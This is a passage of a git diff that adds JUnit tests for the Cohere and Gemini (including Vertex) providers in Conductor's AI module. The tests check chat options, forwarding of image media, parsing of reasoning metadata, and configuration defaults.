+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.cohere; + +import java.util.List; +import java.util.Locale; +import java.util.Objects; + +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledIfEnvironmentVariable; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.content.Media; +import org.springframework.util.MimeTypeUtils; + +import static org.junit.jupiter.api.Assertions.*; + +class CohereAITest { + + private static final String ENV_API_KEY = "COHERE_API_KEY"; + + @Nested + class UnitTests { + + private CohereAI cohereAI; + + @BeforeEach + void setUp() { + CohereAIConfiguration config = new CohereAIConfiguration(); + config.setApiKey("test-api-key"); + cohereAI = new CohereAI(config); + } + + @Test + void testGetModelProvider() { + assertEquals("cohere", cohereAI.getModelProvider()); + } + + @Test + void testGetImageModel_throwsUnsupportedException() { + assertThrows(UnsupportedOperationException.class, () -> cohereAI.getImageModel()); + } + + @Test + void testGetChatOptions_basicOptions() { + ChatCompletion input = new ChatCompletion(); + input.setModel("command-a-03-2025"); + input.setMaxTokens(1000); + input.setTemperature(0.7); + + var options = cohereAI.getChatOptions(input); + + assertNotNull(options); + } + + @Test + void testGetChatModel_createsModel() { + var chatModel = cohereAI.getChatModel(); + assertNotNull(chatModel); + } + } + + @Nested + @EnabledIfEnvironmentVariable(named = ENV_API_KEY, matches = ".+") + class IntegrationTests { + + private CohereAI cohereAI; + + @BeforeEach + void setUp() { + CohereAIConfiguration config = new CohereAIConfiguration(); + config.setApiKey(System.getenv(ENV_API_KEY)); + cohereAI = new CohereAI(config); + } + + @Test + void testChatCompletion() { + ChatCompletion input = new ChatCompletion(); + input.setModel("command-a-03-2025"); + input.setMaxTokens(100); + input.setTemperature(0.7); + + var chatModel = cohereAI.getChatModel(); + var options = cohereAI.getChatOptions(input); + + Prompt prompt = new Prompt(List.of(new UserMessage("Say hello in one word")), options); + var response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + assertNotNull(response.getResult().getOutput()); + assertFalse(response.getResult().getOutput().getText().isEmpty()); + } + + @Test + void testChatCompletionWithImageMedia() throws Exception { + // Live regression for the media fix: a vision model must actually see the + // image bytes, forwarded as an image_url data-URI content part. The image + // embeds a machine-unguessable token, so a correct transcription can only + // come from the image — pre-fix the media was dropped and the model could + // not produce it. + byte[] png = + Objects.requireNonNull( + getClass().getResourceAsStream("/media/melon7391.png"), + "test asset /media/melon7391.png missing") + .readAllBytes(); + + ChatCompletion input = new ChatCompletion(); + input.setModel("command-a-vision-07-2025"); + input.setMaxTokens(50); + + UserMessage userMsg = + UserMessage.builder() + .text( + "Transcribe the exact text shown in the image. Reply with" + + " only that text and nothing else.") + .media( + List.of( + Media.builder() + .data(png) + .mimeType(MimeTypeUtils.IMAGE_PNG) + .build())) + .build(); + + var response = + cohereAI.getChatModel() + .call(new Prompt(List.of(userMsg), cohereAI.getChatOptions(input))); + + String text = response.getResult().getOutput().getText(); + assertNotNull(text); + assertTrue( + text.toUpperCase(Locale.ROOT).replaceAll("[^A-Z0-9]", "").contains("MELON7391"), + "vision model must transcribe the embedded token MELON7391; got: " + text); + } + + @Test + void testEmbeddings() { + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setModel("embed-english-v3.0"); + request.setText("Hello world"); + + var embeddings = cohereAI.generateEmbeddings(request); + + assertNotNull(embeddings); + assertFalse(embeddings.isEmpty()); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/cohere/CohereChatModelMediaTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/cohere/CohereChatModelMediaTest.java new file mode 100644 index 0000000..956171c --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/cohere/CohereChatModelMediaTest.java @@ -0,0 +1,126 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.cohere; + +import java.util.Base64; +import java.util.List; + +import org.conductoross.conductor.ai.providers.cohere.api.CohereApi; +import org.conductoross.conductor.ai.providers.cohere.api.CohereApi.ChatCompletionRequest; +import org.conductoross.conductor.ai.providers.cohere.api.CohereApi.ChatCompletionResponse; +import org.conductoross.conductor.ai.providers.cohere.api.CohereApi.ChatMessage; +import org.conductoross.conductor.ai.providers.cohere.api.CohereApi.ContentPart; +import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.content.Media; +import org.springframework.http.ResponseEntity; +import org.springframework.util.MimeTypeUtils; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertInstanceOf; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Verifies that image media on a {@link UserMessage} is forwarded to Cohere's v2 chat API as an + * {@code image_url} content part. Cohere is vision-capable (e.g. {@code command-a-vision-07-2025}); + * this is the regression guard for the fix where {@code toCohereMessage} took only {@code + * getText()} (and the request DTO's content was a bare String). + * + *

The HTTP layer is stubbed via Mockito; the request built by {@link CohereChatModel} is + * captured and inspected. + */ +class CohereChatModelMediaTest { + + private static final byte[] PNG_BYTES = {(byte) 0x89, 'P', 'N', 'G', 1, 2, 3, 4}; + + @Test + @SuppressWarnings("unchecked") + void userMediaIsForwardedAsImageUrlContentPart() { + CohereApi api = mock(CohereApi.class); + ChatCompletionResponse canned = + new ChatCompletionResponse( + "id_img", + new ChatCompletionResponse.ResponseMessage( + "assistant", + List.of( + new ChatCompletionResponse.ContentBlock( + "text", "MELON7391"))), + "COMPLETE", + new ChatCompletionResponse.Usage(10, 5)); + when(api.chat(any(ChatCompletionRequest.class))).thenReturn(ResponseEntity.ok(canned)); + + CohereChatModel chatModel = new CohereChatModel(api); + + UserMessage userMsg = + UserMessage.builder() + .text("Transcribe the text in the image.") + .media( + List.of( + Media.builder() + .data(PNG_BYTES) + .mimeType(MimeTypeUtils.IMAGE_PNG) + .build())) + .build(); + + CohereChatOptions options = + CohereChatOptions.builder().model("command-a-vision-07-2025").build(); + chatModel.call(new Prompt(List.of(userMsg), options)); + + ArgumentCaptor captor = + ArgumentCaptor.forClass(ChatCompletionRequest.class); + verify(api).chat(captor.capture()); + ChatCompletionRequest sent = captor.getValue(); + + ChatMessage user = + sent.messages().stream() + .filter(m -> "user".equals(m.role())) + .reduce((a, b) -> b) + .orElseThrow(); + + assertInstanceOf( + List.class, + user.content(), + "user message with media must serialize to a content-part list, not a bare string"); + + List parts = (List) user.content(); + + List imageParts = + parts.stream().filter(p -> "image_url".equals(p.type())).toList(); + assertFalse( + imageParts.isEmpty(), + "image_url content part missing — media was dropped (the original bug)"); + + String expected = "data:image/png;base64," + Base64.getEncoder().encodeToString(PNG_BYTES); + assertEquals( + expected, + imageParts.get(0).imageUrl().url(), + "image bytes must be sent as a base64 data URI"); + + // The text prompt must still accompany the image. + assertTrue( + parts.stream() + .anyMatch( + p -> + "text".equals(p.type()) + && "Transcribe the text in the image." + .equals(p.text())), + "text content part must accompany the image"); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiApiTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiApiTest.java new file mode 100644 index 0000000..a51ae21 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiApiTest.java @@ -0,0 +1,104 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.gemini; + +import java.util.List; +import java.util.concurrent.TimeUnit; + +import org.conductoross.conductor.ai.providers.gemini.api.GeminiApi; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import okhttp3.OkHttpClient; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import okhttp3.mockwebserver.RecordedRequest; + +import static org.junit.jupiter.api.Assertions.*; + +class GeminiApiTest { + + private MockWebServer server; + private GeminiApi api; + + @BeforeEach + void setUp() throws Exception { + server = new MockWebServer(); + server.start(); + OkHttpClient client = new OkHttpClient.Builder().readTimeout(5, TimeUnit.SECONDS).build(); + // Use the server's host/port as customBase so requests go to MockWebServer + String base = server.url("").toString().replaceAll("/$", ""); + api = GeminiApi.forApiKey(client, "test-key", base); + } + + @AfterEach + void tearDown() throws Exception { + server.shutdown(); + } + + @Test + void generateContentReturnsText() throws Exception { + server.enqueue( + new MockResponse() + .setResponseCode(200) + .setBody( + """ + {"candidates":[{"content":{"role":"model","parts":[{"text":"Hello"}]}, + "finishReason":"STOP"}], + "usageMetadata":{"promptTokenCount":5,"candidatesTokenCount":3}}""") + .addHeader("Content-Type", "application/json")); + + var contents = + List.of(new GeminiApi.Content("user", List.of(GeminiApi.Part.text("Say hi")))); + GeminiApi.GenerateContentResponse resp = + api.generateContent("gemini-2.5-flash", contents, null); + + assertEquals("Hello", resp.text()); + assertEquals("STOP", resp.finishReason()); + RecordedRequest req = server.takeRequest(); + assertEquals("POST", req.getMethod()); + assertTrue(req.getPath().contains("gemini-2.5-flash:generateContent")); + assertTrue(req.getPath().contains("key=test-key")); + } + + @Test + void embedContentReturnsValues() throws Exception { + server.enqueue( + new MockResponse() + .setResponseCode(200) + .setBody(""" + {"embedding":{"values":[0.1,0.2,0.3]}}""") + .addHeader("Content-Type", "application/json")); + + GeminiApi.EmbedContentResponse resp = + api.embedContent("text-embedding-004", "hello world", null); + + assertNotNull(resp.embedding()); + assertEquals(3, resp.embedding().values().size()); + assertEquals(0.1f, resp.embedding().values().get(0), 0.001f); + RecordedRequest req = server.takeRequest(); + assertTrue(req.getPath().contains("text-embedding-004:embedContent")); + } + + @Test + void generateContentThrowsOnError() { + server.enqueue( + new MockResponse() + .setResponseCode(400) + .setBody("{\"error\":{\"message\":\"Invalid model\"}}")); + var contents = List.of(new GeminiApi.Content("user", List.of(GeminiApi.Part.text("test")))); + assertThrows( + java.io.IOException.class, () -> api.generateContent("bad-model", contents, null)); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatModelMediaTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatModelMediaTest.java new file mode 100644 index 0000000..a251426 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatModelMediaTest.java @@ -0,0 +1,113 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.gemini; + +import java.util.Base64; +import java.util.List; + +import org.conductoross.conductor.ai.providers.gemini.api.GeminiApi; +import org.conductoross.conductor.ai.providers.gemini.api.GeminiApi.Candidate; +import org.conductoross.conductor.ai.providers.gemini.api.GeminiApi.Content; +import org.conductoross.conductor.ai.providers.gemini.api.GeminiApi.GenerateContentResponse; +import org.conductoross.conductor.ai.providers.gemini.api.GeminiApi.Part; +import org.conductoross.conductor.ai.providers.gemini.api.GeminiApi.UsageMetadata; +import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.content.Media; +import org.springframework.util.MimeTypeUtils; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.ArgumentMatchers.isNull; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Verifies that image media on a {@link UserMessage} is forwarded to the Gemini API as an inline + * data {@link Part}. Regression test for a bug where {@code convertMessage} took only {@code + * UserMessage.getText()} and silently dropped {@code getMedia()}, so vision-capable Gemini models + * never received the image. + * + *

The HTTP layer is stubbed via Mockito; the contents built by {@link GeminiChatModel} are + * captured and inspected. + */ +class GeminiChatModelMediaTest { + + private static final byte[] PNG_BYTES = {(byte) 0x89, 'P', 'N', 'G', 1, 2, 3, 4}; + + @Test + @SuppressWarnings("unchecked") + void userMediaIsForwardedAsInlineDataPart() throws Exception { + GeminiApi api = mock(GeminiApi.class); + GenerateContentResponse canned = + new GenerateContentResponse( + List.of( + new Candidate( + new Content("model", List.of(Part.text("MELON7391"))), + "STOP")), + new UsageMetadata(10, 5, null), + "resp_img"); + when(api.generateContent(any(), any(), any(), any(), any())).thenReturn(canned); + + GeminiChatModel chatModel = new GeminiChatModel(api); + + UserMessage userMsg = + UserMessage.builder() + .text("Transcribe the text in the image.") + .media( + List.of( + Media.builder() + .data(PNG_BYTES) + .mimeType(MimeTypeUtils.IMAGE_PNG) + .build())) + .build(); + + GeminiChatOptions options = GeminiChatOptions.builder().model("gemini-2.5-flash").build(); + chatModel.call(new Prompt(List.of(userMsg), options)); + + ArgumentCaptor> captor = ArgumentCaptor.forClass(List.class); + verify(api) + .generateContent(eq("gemini-2.5-flash"), captor.capture(), isNull(), any(), any()); + List sentContents = captor.getValue(); + + Content user = + sentContents.stream() + .filter(c -> "user".equals(c.role())) + .reduce((a, b) -> b) + .orElseThrow(); + + List imageParts = user.parts().stream().filter(p -> p.inlineData() != null).toList(); + assertFalse( + imageParts.isEmpty(), + "inline image part missing — media was dropped (the original bug)"); + + Part img = imageParts.get(0); + assertEquals("image/png", img.inlineData().mimeType()); + assertEquals( + Base64.getEncoder().encodeToString(PNG_BYTES), + img.inlineData().data(), + "image bytes must be base64-encoded verbatim"); + + // The text prompt must still be present alongside the image. + assertTrue( + user.parts().stream() + .anyMatch(p -> "Transcribe the text in the image.".equals(p.text())), + "text part must accompany the image"); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatModelReasoningTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatModelReasoningTest.java new file mode 100644 index 0000000..e669141 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatModelReasoningTest.java @@ -0,0 +1,166 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.gemini; + +import java.util.List; + +import org.conductoross.conductor.ai.providers.gemini.api.GeminiApi; +import org.junit.jupiter.api.Test; +import org.springframework.ai.chat.model.ChatResponse; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Unit tests for {@link GeminiChatModel#toSpringChatResponse(GeminiApi.GenerateContentResponse, + * String)} — the response-parsing path that lifts Gemini "thought" parts onto {@code + * ChatResponseMetadata["reasoning"]} and the {@code thoughtsTokenCount} usage field onto {@code + * ChatResponseMetadata["reasoning_tokens"]}. + * + *

We exercise the response-parsing logic directly via the package-private method by constructing + * {@link GeminiApi.GenerateContentResponse} records directly. + */ +class GeminiChatModelReasoningTest { + + private static GeminiChatModel newChatModel() { + // api is only used inside call() which we don't exercise here. + // null is safe for these tests. + return new GeminiChatModel(null); + } + + private static GeminiApi.Part thoughtPart(String text) { + return new GeminiApi.Part(text, null, null, null, true); + } + + private static GeminiApi.Part textPart(String text) { + return GeminiApi.Part.text(text); + } + + private static GeminiApi.Content content(GeminiApi.Part... parts) { + return new GeminiApi.Content("model", List.of(parts)); + } + + private static GeminiApi.GenerateContentResponse responseWith( + List parts, Integer thoughtsTokenCount) { + GeminiApi.Candidate candidate = + new GeminiApi.Candidate(content(parts.toArray(new GeminiApi.Part[0])), "STOP"); + GeminiApi.UsageMetadata usage = new GeminiApi.UsageMetadata(8, 20, thoughtsTokenCount); + return new GeminiApi.GenerateContentResponse(List.of(candidate), usage, "resp_xyz"); + } + + @Test + void thoughtPartsAreConcatenatedIntoReasoningMetadata() { + GeminiApi.GenerateContentResponse response = + responseWith( + List.of( + thoughtPart("Consider option A."), + thoughtPart("Compare with option B."), + textPart("Final: B.")), + 45); + + ChatResponse chat = newChatModel().toSpringChatResponse(response, "gemini-2.5-pro"); + + // Visible text is only the non-thought part — result.text() filters thoughts. + assertEquals("Final: B.", chat.getResult().getOutput().getText()); + + Object reasoning = chat.getMetadata().get("reasoning"); + assertNotNull(reasoning, "thought parts must surface on metadata['reasoning']"); + String reasoningText = reasoning.toString(); + assertTrue(reasoningText.contains("Consider option A.")); + assertTrue(reasoningText.contains("Compare with option B.")); + assertEquals( + "Consider option A.\n\nCompare with option B.", + reasoningText, + "thoughts must be joined with \\n\\n in order"); + + // thoughtsTokenCount surfaces as reasoning_tokens. + assertEquals(Integer.valueOf(45), chat.getMetadata().get("reasoning_tokens")); + // response_id (Gemini calls it that too) propagates as id. + assertEquals("resp_xyz", chat.getMetadata().getId()); + } + + @Test + void noThoughtParts_metadataOmitsReasoningKey() { + GeminiApi.GenerateContentResponse response = + responseWith(List.of(textPart("Plain answer.")), null); + + ChatResponse chat = newChatModel().toSpringChatResponse(response, "gemini-2.5-flash"); + + assertEquals("Plain answer.", chat.getResult().getOutput().getText()); + assertNull( + chat.getMetadata().get("reasoning"), + "no thought parts => metadata['reasoning'] must be absent"); + assertNull( + chat.getMetadata().get("reasoning_tokens"), + "no thoughtsTokenCount in usage => metadata['reasoning_tokens'] must be absent"); + } + + @Test + void thoughtsTokenCount_surfacesEvenWithoutThoughtSummaryText() { + // Caller may set ``thinking_budget`` (reasoning under the hood) without + // asking for summaries. Gemini bills the reasoning tokens regardless, + // and we want that visible to operators even when no summary text exists. + GeminiApi.GenerateContentResponse response = responseWith(List.of(textPart("Answer.")), 12); + + ChatResponse chat = newChatModel().toSpringChatResponse(response, "gemini-2.5-flash"); + + assertEquals("Answer.", chat.getResult().getOutput().getText()); + assertNull(chat.getMetadata().get("reasoning")); + assertEquals(Integer.valueOf(12), chat.getMetadata().get("reasoning_tokens")); + } + + @Test + void blankThoughtTextIsIgnored() { + GeminiApi.GenerateContentResponse response = + responseWith( + List.of(thoughtPart("Real thought."), thoughtPart(" "), textPart("Out.")), + 7); + + ChatResponse chat = newChatModel().toSpringChatResponse(response, "gemini-2.5-pro"); + + assertEquals( + "Real thought.", + chat.getMetadata().get("reasoning"), + "blank thought text must not contribute or introduce orphan \\n\\n"); + } + + @Test + void multipleCandidates_thoughtsFromAllAreCollected() { + // Gemini can return more than one candidate; reasoning parts from each + // candidate's content should all flow through. (Spring AI's ChatResponse + // model still gets a single generation in the existing code path because + // result.text() merges, but reasoning should not be dropped on the floor + // for non-first candidates.) + GeminiApi.Candidate c1 = + new GeminiApi.Candidate( + new GeminiApi.Content( + "model", List.of(thoughtPart("Cand 1 thought."), textPart("A."))), + "STOP"); + GeminiApi.Candidate c2 = + new GeminiApi.Candidate( + new GeminiApi.Content("model", List.of(thoughtPart("Cand 2 thought."))), + "STOP"); + GeminiApi.GenerateContentResponse response = + new GeminiApi.GenerateContentResponse( + List.of(c1, c2), new GeminiApi.UsageMetadata(1, 1, 3), "resp_multi"); + + ChatResponse chat = newChatModel().toSpringChatResponse(response, "gemini-2.5-pro"); + + String reasoning = (String) chat.getMetadata().get("reasoning"); + assertNotNull(reasoning); + assertTrue(reasoning.contains("Cand 1 thought.")); + assertTrue(reasoning.contains("Cand 2 thought.")); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertexConfigurationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertexConfigurationTest.java new file mode 100644 index 0000000..f0a5f15 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertexConfigurationTest.java @@ -0,0 +1,62 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.gemini; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +class GeminiVertexConfigurationTest { + + @Test + void testDefaultBaseURL_withLocation() { + GeminiVertexConfiguration config = new GeminiVertexConfiguration(); + config.setLocation("us-central1"); + assertEquals("us-central1-aiplatform.googleapis.com:443", config.getBaseURL()); + } + + @Test + void testCustomBaseURL() { + GeminiVertexConfiguration config = new GeminiVertexConfiguration(); + config.setBaseURL("https://custom.googleapis.com"); + assertEquals("https://custom.googleapis.com", config.getBaseURL()); + } + + @Test + void testGetCreatesGeminiVertexInstance() { + GeminiVertexConfiguration config = new GeminiVertexConfiguration(); + config.setProjectId("my-project"); + config.setLocation("us-central1"); + + GeminiVertex result = config.get(); + + assertNotNull(result); + assertEquals("vertex_ai", result.getModelProvider()); + } + + @Test + void testNoArgsConstructor() { + GeminiVertexConfiguration config = new GeminiVertexConfiguration(); + assertNull(config.getProjectId()); + assertNull(config.getLocation()); + assertNull(config.getPublisher()); + assertNull(config.getGoogleCredentials()); + } + + @Test + void testDefaultBaseURL_nullLocationReturnsNullPrefix() { + GeminiVertexConfiguration config = new GeminiVertexConfiguration(); + // With null location, baseURL is constructed with null prefix + assertEquals("null-aiplatform.googleapis.com:443", config.getBaseURL()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertexTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertexTest.java new file mode 100644 index 0000000..0c4d35f --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertexTest.java @@ -0,0 +1,203 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.gemini; + +import java.util.List; + +import org.conductoross.conductor.ai.model.ChatCompletion; +import org.conductoross.conductor.ai.model.EmbeddingGenRequest; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Nested; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.EnabledIfEnvironmentVariable; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.Prompt; + +import okhttp3.OkHttpClient; + +import static org.junit.jupiter.api.Assertions.*; + +class GeminiVertexTest { + + private static final String ENV_PROJECT_ID = "GOOGLE_CLOUD_PROJECT"; + private static final String ENV_LOCATION = "GOOGLE_CLOUD_LOCATION"; + + @Nested + class UnitTests { + + private GeminiVertex geminiVertex; + + @BeforeEach + void setUp() { + GeminiVertexConfiguration config = new GeminiVertexConfiguration(); + config.setProjectId("test-project"); + config.setLocation("us-central1"); + geminiVertex = new GeminiVertex(config, new OkHttpClient()); + } + + @Test + void testGetModelProvider() { + assertEquals("vertex_ai", geminiVertex.getModelProvider()); + } + + @Test + void testGetChatOptions_basicOptions() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gemini-1.5-flash"); + input.setMaxTokens(1000); + input.setTemperature(0.7); + input.setTopP(0.9); + input.setTopK(40); + + var options = geminiVertex.getChatOptions(input); + + assertNotNull(options); + assertInstanceOf(GeminiChatOptions.class, options); + GeminiChatOptions opts = (GeminiChatOptions) options; + assertEquals("gemini-1.5-flash", opts.getModel()); + assertEquals(1000, opts.getMaxTokens()); + assertEquals(0.7, opts.getTemperature()); + assertEquals(0.9, opts.getTopP()); + assertEquals(40, opts.getTopK()); + } + + @Test + void testGetChatOptions_withGoogleSearchRetrieval() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gemini-1.5-pro"); + input.setMaxTokens(2000); + input.setGoogleSearchRetrieval(true); + + var options = geminiVertex.getChatOptions(input); + + assertNotNull(options); + assertInstanceOf(GeminiChatOptions.class, options); + GeminiChatOptions opts = (GeminiChatOptions) options; + assertTrue(opts.isGoogleSearchRetrieval()); + } + + @Test + void testGetChatOptions_withWebSearchFlag() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gemini-2.5-flash"); + input.setMaxTokens(500); + input.setWebSearch(true); + + var options = geminiVertex.getChatOptions(input); + + assertNotNull(options); + assertInstanceOf(GeminiChatOptions.class, options); + GeminiChatOptions opts = (GeminiChatOptions) options; + assertTrue(opts.isGoogleSearchRetrieval()); + } + + @Test + void testGetChatOptions_withWebSearchFlag_apiKeyPath() { + GeminiVertexConfiguration apiKeyConfig = new GeminiVertexConfiguration(); + apiKeyConfig.setApiKey("test-api-key"); + GeminiVertex apiKeyGemini = new GeminiVertex(apiKeyConfig, new OkHttpClient()); + + ChatCompletion input = new ChatCompletion(); + input.setModel("gemini-2.5-flash"); + input.setMaxTokens(500); + input.setWebSearch(true); + + var options = apiKeyGemini.getChatOptions(input); + + assertNotNull(options); + assertInstanceOf(GeminiChatOptions.class, options); + GeminiChatOptions opts = (GeminiChatOptions) options; + assertTrue(opts.isGoogleSearchRetrieval()); + } + + @Test + void testGetChatOptions_withCodeExecution() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gemini-2.5-flash"); + input.setMaxTokens(500); + input.setCodeInterpreter(true); + + var options = geminiVertex.getChatOptions(input); + + assertInstanceOf(GeminiChatOptions.class, options); + GeminiChatOptions opts = (GeminiChatOptions) options; + assertTrue(opts.isCodeExecution()); + } + + @Test + void testGetChatModel_createsModel() { + // getChatModel() creates a real GenAI Client which requires either an API key + // or GCP Application Default Credentials. Skip gracefully when neither is available. + try { + var chatModel = geminiVertex.getChatModel(); + assertNotNull(chatModel); + assertInstanceOf(GeminiChatModel.class, chatModel); + } catch (Exception e) { + if (e.getMessage() != null && e.getMessage().contains("credentials")) { + org.junit.jupiter.api.Assumptions.assumeTrue( + false, "Skipping: no GCP credentials available"); + } + throw e; + } + } + } + + @Nested + @EnabledIfEnvironmentVariable(named = ENV_PROJECT_ID, matches = ".+") + class IntegrationTests { + + private GeminiVertex geminiVertex; + + @BeforeEach + void setUp() { + GeminiVertexConfiguration config = new GeminiVertexConfiguration(); + config.setProjectId(System.getenv(ENV_PROJECT_ID)); + config.setLocation( + System.getenv(ENV_LOCATION) != null + ? System.getenv(ENV_LOCATION) + : "us-central1"); + geminiVertex = new GeminiVertex(config, new OkHttpClient()); + } + + @Test + void testChatCompletion() { + ChatCompletion input = new ChatCompletion(); + input.setModel("gemini-1.5-flash"); + input.setMaxTokens(100); + input.setTemperature(0.7); + + var chatModel = geminiVertex.getChatModel(); + var options = geminiVertex.getChatOptions(input); + + Prompt prompt = new Prompt(List.of(new UserMessage("Say hello in one word")), options); + var response = chatModel.call(prompt); + + assertNotNull(response); + assertNotNull(response.getResult()); + assertNotNull(response.getResult().getOutput()); + assertFalse(response.getResult().getOutput().getText().isEmpty()); + } + + @Test + void testEmbeddings() { + EmbeddingGenRequest request = new EmbeddingGenRequest(); + request.setModel("text-embedding-004"); + request.setText("Hello world"); + + var embeddings = geminiVertex.generateEmbeddings(request); + + assertNotNull(embeddings); + assertFalse(embeddings.isEmpty()); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/grok/GrokAIConfigurationTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/grok/GrokAIConfigurationTest.java new file mode 100644 index 0000000..a94d546 --- /dev/null 